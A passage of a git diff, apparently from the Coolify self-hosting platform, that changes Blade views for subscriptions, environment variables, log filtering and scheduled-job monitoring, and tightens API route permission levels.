+ + Back to Login Contact support diff --git a/resources/views/livewire/dashboard.blade.php b/resources/views/livewire/dashboard.blade.php index a58ca0a00..908c4a98a 100644 --- a/resources/views/livewire/dashboard.blade.php +++ b/resources/views/livewire/dashboard.blade.php @@ -7,12 +7,6 @@ @endif

Dashboard

Your self-hosted infrastructure.
- @if (request()->query->get('success')) -
- Your subscription has been activated! Welcome onboard! It could take a few seconds before your - subscription is activated.
Please be patient. -
- @endif
diff --git a/resources/views/livewire/global-search.blade.php b/resources/views/livewire/global-search.blade.php index 27b8d2821..955533f28 100644 --- a/resources/views/livewire/global-search.blade.php +++ b/resources/views/livewire/global-search.blade.php @@ -699,15 +699,21 @@ class="text-xs font-semibold text-neutral-500 dark:text-neutral-400 uppercase tr class="search-result-item w-full text-left block px-4 py-3 hover:bg-warning-50 dark:hover:bg-warning-900/20 transition-colors focus:outline-none focus:bg-warning-100 dark:focus:bg-warning-900/30 border-transparent hover:border-warning-500 focus:border-warning-500">
-
- - - -
+ @if (! empty($item['logo'])) +
+ {{ $item['name'] }} +
+ @else +
+ + + +
+ @endif
@@ -808,15 +814,22 @@ class="shrink-0 h-5 w-5 text-neutral-300 dark:text-neutral-600 self-center" class="search-result-item w-full text-left block px-4 py-3 hover:bg-warning-50 dark:hover:bg-warning-900/20 transition-colors focus:outline-none focus:bg-warning-100 dark:focus:bg-warning-900/30 border-transparent hover:border-warning-500 focus:border-warning-500">
-
- - - -
+ +
Stripe @endif + @if (request()->query->get('cancelled')) + + + + @endif + @if (request()->query->get('success')) + +
+ + + + Welcome onboard! Your subscription has been + activated. It could take a few seconds before it's fully active. +
+
+ @endif @if (currentTeam()->subscriptionPastOverDue())
WARNING: Your subscription is in over-due. If your diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 34c859a18..597bfa0a4 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -46,7 +46,7 @@ href="{{ route('project.application.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Scheduled Tasks Webhooks - @if ($application->deploymentType() !== 'deploy_key') + @if ($application->git_based()) Preview Deployments @endif diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index f576a4a12..aada339cc 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -527,6 +527,7 @@ class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-blue-50 dark:bg-blu @endif
+

Labels

@if ($application->settings->is_container_label_readonly_enabled) diff --git a/resources/views/livewire/project/application/heading.blade.php b/resources/views/livewire/project/application/heading.blade.php index 96e5d9770..4af466fc5 100644 --- a/resources/views/livewire/project/application/heading.blade.php +++ b/resources/views/livewire/project/application/heading.blade.php @@ -1,7 +1,7 @@

Advanced

diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index 2b2e5d355..e81d51c07 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -115,6 +115,8 @@
+

Advanced

diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 00c30edff..522b96c0a 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -115,6 +115,8 @@
+
+
diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index a474153f1..fa34b9795 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -153,6 +153,8 @@
+
diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index 8187878e4..b1a75c455 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -155,6 +155,8 @@
+

Advanced

diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index 7300b913a..74b1a03a8 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -165,6 +165,8 @@
+
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index f37674186..11ffddd81 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -134,6 +134,8 @@
+
@endif + + @if (!$shared)
@endif - @if ($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') -
- - Hardcoded variables are not shown here. -
- {{--
If you would like to add a variable, you must add it to - your compose file.
--}} - @endif @if ($view === 'normal')
@@ -61,31 +48,48 @@
Environment (secrets) variables for Production.
@forelse ($this->environmentVariables as $env) - + @empty
No environment variables found.
@endforelse + @if (($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') && $this->hardcodedEnvironmentVariables->isNotEmpty()) + @foreach ($this->hardcodedEnvironmentVariables as $index => $env) + + @endforeach + @endif @if ($resource->type() === 'application' && $resource->environment_variables_preview->count() > 0 && $showPreview)

Preview Deployments Environment Variables

Environment (secrets) variables for Preview Deployments.
@foreach ($this->environmentVariablesPreview as $env) - + @endforeach + @if (($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') && $this->hardcodedEnvironmentVariablesPreview->isNotEmpty()) + @foreach ($this->hardcodedEnvironmentVariablesPreview as $index => $env) + + @endforeach + @endif @endif @else
@can('manageEnvironment', $resource) + + Inline comments with space before # (e.g., KEY=value #comment) are stripped. + + @if ($showPreview) - + @endif Save All Environment Variables @@ -94,11 +98,10 @@ label="Production Environment Variables" disabled> @if ($showPreview) - + @endif @endcan
@endif - + \ No newline at end of file diff --git a/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php b/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php new file mode 100644 index 000000000..9158d127e --- /dev/null +++ b/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php @@ -0,0 +1,31 @@ +
+
+
+ + Hardcoded env + + @if($serviceName) + + Service: {{ $serviceName }} + + @endif +
+
+
+ + @if($value !== null && $value !== '') + + @else + + @endif +
+ @if($comment) + + @endif +
+
+
\ No newline at end of file diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 68e1d7e7d..86faeeeb4 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -15,13 +15,21 @@ @can('delete', $this->env) @endcan @can('update', $this->env) +
+
+ +
+ Update +
@if (!$is_redis_credential) @@ -32,28 +40,40 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if (!$env->is_nixpacks) + + @endif + + @if (!$isMagicVariable) + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @@ -72,82 +92,95 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else - @endif - - - @if ($is_multiline === false) - + + @if (!$isMagicVariable) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @endif
+
+ +
@endcan @else @can('update', $this->env) @if ($isDisabled) +
+
+ + + @if ($is_shared) + + @endif +
+ @if (!$isMagicVariable) + + @endif +
+ @else +
+
+ @if ($is_multiline) + + + @else + + + @endif + @if ($is_shared) + + @endif +
+ +
+ @endif + @else +
- + @if ($is_shared) @endif
- @else -
- @if ($is_multiline) - - - @else - - - @endif - @if ($is_shared) - - @endif -
- @endif - @else -
- - - @if ($is_shared) - + @if (!$isMagicVariable) + @endif
@endcan @@ -162,28 +195,40 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if (!$env->is_nixpacks) + + @endif + + @if (!$isMagicVariable) + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @@ -191,12 +236,13 @@ @endif
-
- @if ($isDisabled) + @if (!$isMagicVariable) +
+ @if ($isDisabled) Update Lock - Update Lock - - @endif -
+ @endif +
+ @endif @else
@@ -224,27 +271,37 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else - @endif - - - @if ($is_multiline === false) - + + @if (!$isMagicVariable) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @@ -255,4 +312,4 @@ @endif -
+ \ No newline at end of file diff --git a/resources/views/livewire/project/shared/execute-container-command.blade.php b/resources/views/livewire/project/shared/execute-container-command.blade.php index f980d6f3c..e7d3546fd 100644 --- a/resources/views/livewire/project/shared/execute-container-command.blade.php +++ b/resources/views/livewire/project/shared/execute-container-command.blade.php @@ -21,7 +21,8 @@
No containers are running or terminal access is disabled on this server.
@else
diff --git a/resources/views/livewire/project/shared/get-logs.blade.php b/resources/views/livewire/project/shared/get-logs.blade.php index 28d6109d0..ee5b65cf5 100644 --- a/resources/views/livewire/project/shared/get-logs.blade.php +++ b/resources/views/livewire/project/shared/get-logs.blade.php @@ -8,6 +8,7 @@ rafId: null, scrollDebounce: null, colorLogs: localStorage.getItem('coolify-color-logs') === 'true', + logFilters: JSON.parse(localStorage.getItem('coolify-log-filters')) || {error: true, warning: true, debug: true, info: true}, searchQuery: '', matchCount: 0, containerName: '{{ $container ?? "logs" }}', @@ -70,6 +71,17 @@ } }, 150); }, + getLogLevel(content) { + if (/\b(error|err|failed|failure|exception|fatal|panic|critical)\b/.test(content)) return 'error'; + if (/\b(warn|warning|wrn|caution)\b/.test(content)) return 'warning'; + if (/\b(debug|dbg|trace|verbose)\b/.test(content)) return 'debug'; + return 'info'; + }, + toggleLogFilter(level) { + this.logFilters[level] = !this.logFilters[level]; + localStorage.setItem('coolify-log-filters', JSON.stringify(this.logFilters)); + this.applySearch(); + }, toggleColorLogs() { this.colorLogs = !this.colorLogs; localStorage.setItem('coolify-color-logs', this.colorLogs); @@ -81,17 +93,11 @@ const lines = logs.querySelectorAll('[data-log-line]'); lines.forEach(line => { const content = (line.dataset.logContent || '').toLowerCase(); + const level = this.getLogLevel(content); + line.dataset.logLevel = level; line.classList.remove('log-error', 'log-warning', 'log-debug', 'log-info'); if (!this.colorLogs) return; - if (/\b(error|err|failed|failure|exception|fatal|panic|critical)\b/.test(content)) { - line.classList.add('log-error'); - } else if (/\b(warn|warning|wrn|caution)\b/.test(content)) { - line.classList.add('log-warning'); - } else if (/\b(debug|dbg|trace|verbose)\b/.test(content)) { - line.classList.add('log-debug'); - } else if (/\b(info|inf|notice)\b/.test(content)) { - line.classList.add('log-info'); - } + line.classList.add('log-' + level); }); }, hasActiveLogSelection() { @@ -118,7 +124,10 @@ lines.forEach(line => { const content = (line.dataset.logContent || '').toLowerCase(); const textSpan = line.querySelector('[data-line-text]'); - const matches = !query || content.includes(query); + const level = line.dataset.logLevel || this.getLogLevel(content); + const passesFilter = this.logFilters[level] !== false; + const matchesSearch = !query || content.includes(query); + const matches = passesFilter && matchesSearch; line.classList.toggle('hidden', !matches); if (matches && query) count++; @@ -389,6 +398,52 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text- d="M9.53 16.122a3 3 0 0 0-5.78 1.128 2.25 2.25 0 0 1-2.4 2.245 4.5 4.5 0 0 0 8.4-2.245c0-.399-.078-.78-.22-1.128Zm0 0a15.998 15.998 0 0 0 3.388-1.62m-5.043-.025a15.994 15.994 0 0 1 1.622-3.395m3.42 3.42a15.995 15.995 0 0 0 4.764-4.648l3.876-5.814a1.151 1.151 0 0 0-1.597-1.597L14.146 6.32a15.996 15.996 0 0 0-4.649 4.763m3.42 3.42a6.776 6.776 0 0 0-3.42-3.42" /> +
+ +
+
+ + + + +
+
+
+ @endif + + @if ($server->server_metadata) + @php $meta = $server->server_metadata; @endphp +
+
OS: + {{ $meta['os'] ?? 'N/A' }}
+
Arch: + {{ $meta['arch'] ?? 'N/A' }}
+
Kernel: + {{ $meta['kernel'] ?? 'N/A' }}
+
CPU Cores: + {{ $meta['cpus'] ?? 'N/A' }}
+
RAM: + {{ isset($meta['memory_bytes']) ? round($meta['memory_bytes'] / 1073741824, 1) . ' GB' : 'N/A' }} +
+
Up Since: + {{ $meta['uptime_since'] ?? 'N/A' }}
+
+ @if (isset($meta['collected_at'])) +

Last updated: + {{ \Carbon\Carbon::parse($meta['collected_at'])->diffForHumans() }}

+ @endif + @else + + Fetch Server + Details + Fetching... + + @endif + + @endif @if (!$server->hetzner_server_id && $availableHetznerTokens->isNotEmpty())

Link to Hetzner Cloud

diff --git a/resources/views/livewire/settings/advanced.blade.php b/resources/views/livewire/settings/advanced.blade.php index 3069c8479..242cacf48 100644 --- a/resources/views/livewire/settings/advanced.blade.php +++ b/resources/views/livewire/settings/advanced.blade.php @@ -23,7 +23,7 @@ class="flex flex-col h-full gap-8 sm:flex-row">

DNS Settings

diff --git a/resources/views/livewire/settings/scheduled-jobs.blade.php b/resources/views/livewire/settings/scheduled-jobs.blade.php new file mode 100644 index 000000000..7c0db860f --- /dev/null +++ b/resources/views/livewire/settings/scheduled-jobs.blade.php @@ -0,0 +1,283 @@ +
+ + Scheduled Job Issues | Coolify + + +
+
+
+

Scheduled Job Issues

+ Refresh +
+
Shows failed executions, skipped jobs, and scheduler health.
+
+ + {{-- Tab Buttons --}} +
+
+ Failures ({{ $executions->count() }}) +
+
+ Scheduler Runs ({{ $managerRuns->count() }}) +
+
+ Skipped Jobs ({{ $skipTotalCount }}) +
+
+ + {{-- Executions Tab --}} +
+ {{-- Filters --}} +
+
+ + +
+
+ + +
+
+ +
+ + + + + + + + + + + + + @forelse($executions as $execution) + + + + + + + + + @empty + + + + @endforelse + +
TypeResourceServerStartedDurationMessage
+ @php + $typeLabel = match($execution['type']) { + 'backup' => 'Backup', + 'task' => 'Task', + 'cleanup' => 'Cleanup', + default => ucfirst($execution['type']), + }; + $typeBg = match($execution['type']) { + 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300', + 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300', + 'cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300', + default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300', + }; + @endphp + + {{ $typeLabel }} + + + {{ $execution['resource_name'] }} + @if($execution['resource_type']) + ({{ $execution['resource_type'] }}) + @endif + {{ $execution['server_name'] }} + {{ $execution['created_at']->diffForHumans() }} + {{ $execution['created_at']->format('M d H:i') }} + + @if($execution['finished_at'] && $execution['created_at']) + {{ \Carbon\Carbon::parse($execution['created_at'])->diffInSeconds(\Carbon\Carbon::parse($execution['finished_at'])) }}s + @elseif($execution['status'] === 'running') + + @else + - + @endif + + {{ \Illuminate\Support\Str::limit($execution['message'], 80) }} +
+ No failures found for the selected filters. +
+
+
+ + {{-- Scheduler Runs Tab --}} +
+
Shows when the ScheduledJobManager executed. Gaps indicate lock conflicts or missed runs.
+
+ + + + + + + + + + + + @forelse($managerRuns as $run) + + + + + + + + @empty + + + + @endforelse + +
TimeEventDurationDispatchedSkipped
{{ $run['timestamp'] }}{{ $run['message'] }} + @if($run['duration_ms'] !== null) + {{ $run['duration_ms'] }}ms + @else + - + @endif + {{ $run['dispatched'] ?? '-' }} + @if(($run['skipped'] ?? 0) > 0) + {{ $run['skipped'] }} + @else + {{ $run['skipped'] ?? '-' }} + @endif +
+ No scheduler run logs found. Logs appear after the ScheduledJobManager runs. +
+
+
+ + {{-- Skipped Jobs Tab --}} +
+
Jobs that were not dispatched because conditions were not met.
+ @if($skipTotalCount > $skipDefaultTake) +
+ + + + + + + Page {{ $skipCurrentPage }} of {{ ceil($skipTotalCount / $skipDefaultTake) }} + + + + + + +
+ @endif +
+ + + + + + + + + + + @forelse($skipLogs as $skip) + + + + + + + @empty + + + + @endforelse + +
TimeTypeResourceReason
{{ $skip['timestamp'] }} + @php + $skipTypeBg = match($skip['type']) { + 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300', + 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300', + 'docker_cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300', + default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300', + }; + @endphp + + {{ ucfirst(str_replace('_', ' ', $skip['type'])) }} + + + @if($skip['link'] ?? null) + + {{ $skip['resource_name'] }} + + @elseif($skip['resource_name'] ?? null) + {{ $skip['resource_name'] }} + @else + {{ $skip['context']['task_name'] ?? $skip['context']['server_name'] ?? 'Deleted' }} + @endif + + @php + $reasonLabel = match($skip['reason']) { + 'server_not_functional' => 'Server not functional', + 'subscription_unpaid' => 'Subscription unpaid', + 'database_deleted' => 'Database deleted', + 'server_deleted' => 'Server deleted', + 'resource_deleted' => 'Resource deleted', + 'application_not_running' => 'Application not running', + 'service_not_running' => 'Service not running', + default => ucfirst(str_replace('_', ' ', $skip['reason'])), + }; + $reasonBg = match($skip['reason']) { + 'server_not_functional', 'database_deleted', 'server_deleted', 'resource_deleted' => 'text-red-600 dark:text-red-400', + 'subscription_unpaid' => 'text-warning', + 'application_not_running', 'service_not_running' => 'text-orange-600 dark:text-orange-400', + default => '', + }; + @endphp + {{ $reasonLabel }} +
+ No skipped jobs found. This means all scheduled jobs passed their conditions. +
+
+
+
+
diff --git a/resources/views/livewire/source/github/change.blade.php b/resources/views/livewire/source/github/change.blade.php index 53d953aa2..9ccf1e2b7 100644 --- a/resources/views/livewire/source/github/change.blade.php +++ b/resources/views/livewire/source/github/change.blade.php @@ -242,15 +242,15 @@ class=""
+ @if ($fqdn) + + @endif @if ($ipv4) @endif @if ($ipv6) @endif - @if ($fqdn) - - @endif @if (config('app.url')) @endif diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index 516a57dd3..c2bc7f221 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -1,53 +1,267 @@ -
+
@if (subscriptionProvider() === 'stripe') -
-

Your current plan

-
Tier: - @if (data_get(currentTeam(), 'subscription')->type() == 'dynamic') - Pay-as-you-go - @else - {{ data_get(currentTeam(), 'subscription')->type() }} - @endif + {{-- Plan Overview --}} +
+

Plan Overview

+
+ {{-- Current Plan Card --}} +
+
Current Plan
+
+ @if (data_get(currentTeam(), 'subscription')->type() == 'dynamic') + Pay-as-you-go + @else + {{ data_get(currentTeam(), 'subscription')->type() }} + @endif +
+
+ @if (currentTeam()->subscription->stripe_cancel_at_period_end) + Cancelling at end of period + @else + Active + · Invoice + {{ currentTeam()->subscription->stripe_invoice_paid ? 'paid' : 'not paid' }} + @endif +
+
-
+ {{-- Paid Servers Card --}} +
+
Paid Servers
+
+
Click to adjust
+
- @if (currentTeam()->subscription->stripe_cancel_at_period_end) -
Subscription is active but on cancel period.
- @else -
Subscription is active. Last invoice is - {{ currentTeam()->subscription->stripe_invoice_paid ? 'paid' : 'not paid' }}.
- @endif -
-
Number of paid servers:
-
{{ $server_limits }}
-
-
-
Currently active servers:
-
{{ currentTeam()->servers->count() }}
+ {{-- Active Servers Card --}} +
+
Active Servers
+
+ {{ currentTeam()->servers->count() }} +
+
Currently running
+
+ @if (currentTeam()->serverOverflow()) - - You must delete {{ currentTeam()->servers->count() - $server_limits }} servers, - or upgrade your subscription. {{ currentTeam()->servers->count() - $server_limits }} servers will be - deactivated. + + You must delete {{ currentTeam()->servers->count() - $server_limits }} servers or upgrade your + subscription. Excess servers will be deactivated. @endif - Change Server Quantity - -

Manage your subscription

-
Cancel, upgrade or downgrade your subscription.
-
- Go to - + + {{-- Adjust Server Limit Modal --}} +
+
+
+
+
+

Adjust Server Limit

+ +
+
+ {{-- Server count input --}} +
+ +
+ + + Calculate Price + +
+
+ + {{-- Loading --}} +
+ +
+ + {{-- Price Preview --}} +
+
+
Due now
+
+ Prorated charge + +
+

Charged immediately to your payment method.

+
+
+
Next billing cycle
+
+
+ + +
+
+ + +
+
+ Total / month + +
+
+
+ + {{-- Update Button with Confirmation --}} + + + + Update Server Limit + + + +
+ + {{-- Reduction Warning --}} +
+ + Reducing below your active server count will deactivate excess servers. + +
+
+
+
+ +
+ + {{-- Billing, Refund & Cancellation --}} +
+

Manage Subscription

+
+ {{-- Billing --}} + + + + Manage Billing on Stripe + + {{-- Resume or Cancel --}} + @if (currentTeam()->subscription->stripe_cancel_at_period_end) + Resume Subscription + @else + + + @endif + + {{-- Refund --}} + @if ($refundCheckLoading) + + @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + + @endif
-
-
- If you have any problems, please contact us. + + {{-- Contextual notes --}} + @if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) +

Eligible for a full refund — {{ $refundDaysRemaining }} days remaining.

+ @elseif ($refundAlreadyUsed) +

Refund already processed. Each team is eligible for one refund only.

+ @endif + @if (currentTeam()->subscription->stripe_cancel_at_period_end) +

Your subscription is set to cancel at the end of the billing period.

+ @endif + + +
+ Need help? Contact us.
@endif
diff --git a/resources/views/livewire/subscription/index.blade.php b/resources/views/livewire/subscription/index.blade.php index d1d933e04..c78af77f9 100644 --- a/resources/views/livewire/subscription/index.blade.php +++ b/resources/views/livewire/subscription/index.blade.php @@ -3,29 +3,26 @@ Subscribe | Coolify @if (auth()->user()->isAdminFromSession()) - @if (request()->query->get('cancelled')) -
- - - - Something went wrong with your subscription. Please try again or contact - support. -
- @endif

Subscriptions

@if ($loading) -
- Loading your subscription status... +
+
@else @if ($isUnpaid) -
- Your last payment was failed for Coolify Cloud. -
+ +
+ + + + Payment Failed. Your last payment for Coolify + Cloud has failed. +
+

Open the following link, navigate to the button and pay your unpaid/past due subscription. @@ -34,18 +31,20 @@

@else @if (config('subscription.provider') === 'stripe') -
$isCancelled, - 'pb-10' => !$isCancelled, - ])> - @if ($isCancelled) -
- It looks like your previous subscription has been cancelled, because you forgot to - pay - the bills.
Please subscribe again to continue using Coolify.
+ @if ($isCancelled) + +
+ + + + No Active Subscription. Subscribe to + a plan to start using Coolify Cloud.
- @endif -
+ + @endif +
$isCancelled, 'pb-10' => !$isCancelled])>
@endif @endif diff --git a/resources/views/livewire/subscription/pricing-plans.blade.php b/resources/views/livewire/subscription/pricing-plans.blade.php index 52811f288..45edc39ad 100644 --- a/resources/views/livewire/subscription/pricing-plans.blade.php +++ b/resources/views/livewire/subscription/pricing-plans.blade.php @@ -1,162 +1,123 @@ -
-
-
-
- Payment frequency - - -
+
+ {{-- Frequency Toggle --}} +
+
+ Payment frequency + + +
+
+ +
+ {{-- Plan Header + Pricing --}} +

Pay-as-you-go

+

Dynamic pricing based on the number of servers you connect.

+ +
+ + $5 + / mo base + + + $4 + / mo base +
-
-
-
-

Pay-as-you-go

-

- Dynamic pricing based on the number of servers you connect. -

-

- - $5 - base price - +

+ + + $3 per additional server, billed monthly (+VAT) + + + + $2.7 per additional server, billed annually (+VAT) + +

- - $4 - base price - -

-

- - $3 - per additional servers billed monthly (+VAT) - + {{-- Subscribe Button --}} +

+ + Subscribe + + + Subscribe + +
- - $2.7 - per additional servers billed annually (+VAT) - -

-
- - - - + {{-- Features --}} +
+
    +
  • + + Connect unlimited servers +
  • +
  • + + Deploy unlimited applications per server +
  • +
  • + + Free email notifications +
  • +
  • + + Support by email +
  • +
  • + + + + + + All Upcoming Features +
  • +
+
-
-
- You need to bring your own servers from any cloud provider (such as Hetzner, DigitalOcean, AWS, - etc.) -
-
- (You can connect your RPi, old laptop, or any other device that runs - the supported operating systems.) -
-
-
-
- - Subscribe - - - Subscribe - -
-
    -
  • - - Connect - unlimited servers -
  • -
  • - - Deploy - unlimited applications per server -
  • -
  • - - Free email notifications -
  • -
  • - - Support by email -
  • -
  • - - - - - - - + All Upcoming Features -
  • -
  • - - - - - - - Do you require official support for your self-hosted instance?Contact Us -
  • -
-
-
+ {{-- BYOS Notice + Support --}} +
+

You need to bring your own servers from any cloud provider (Hetzner, DigitalOcean, AWS, etc.) or connect any device running a supported OS.

+

Need official support for your self-hosted instance? Contact Us

diff --git a/resources/views/livewire/subscription/show.blade.php b/resources/views/livewire/subscription/show.blade.php index 2fb4b1191..955beb33f 100644 --- a/resources/views/livewire/subscription/show.blade.php +++ b/resources/views/livewire/subscription/show.blade.php @@ -3,6 +3,6 @@ Subscription | Coolify

Subscription

-
Here you can see and manage your subscription.
+
Manage your plan, billing, and server limits.
diff --git a/routes/api.php b/routes/api.php index 8ff1fd1cc..8b28177f3 100644 --- a/routes/api.php +++ b/routes/api.php @@ -9,6 +9,7 @@ use App\Http\Controllers\Api\OtherController; use App\Http\Controllers\Api\ProjectController; use App\Http\Controllers\Api\ResourcesController; +use App\Http\Controllers\Api\ScheduledTasksController; use App\Http\Controllers\Api\SecurityController; use App\Http\Controllers\Api\ServersController; use App\Http\Controllers\Api\ServicesController; @@ -54,7 +55,7 @@ Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']); Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']); - Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:read']); + Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']); Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']); @@ -70,7 +71,7 @@ Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']); Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']); - Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:read']); + Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/deploy', [DeployController::class, 'deploy'])->middleware(['api.ability:deploy']); Route::get('/deployments', [DeployController::class, 'deployments'])->middleware(['api.ability:read']); @@ -83,9 +84,9 @@ Route::get('/servers/{uuid}/domains', [ServersController::class, 'domains_by_server'])->middleware(['api.ability:read']); Route::get('/servers/{uuid}/resources', [ServersController::class, 'resources_by_server'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']); + Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:write']); - Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:read']); + Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']); Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']); @@ -106,7 +107,7 @@ /** * @deprecated Use POST /api/v1/services instead. This endpoint creates a Service, not an Application and is a unstable duplicate of POST /api/v1/services. - */ + */ Route::post('/applications/dockercompose', [ApplicationsController::class, 'create_dockercompose_application'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}', [ApplicationsController::class, 'application_by_uuid'])->middleware(['api.ability:read']); @@ -120,9 +121,9 @@ Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']); - Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']); Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); @@ -151,9 +152,9 @@ Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 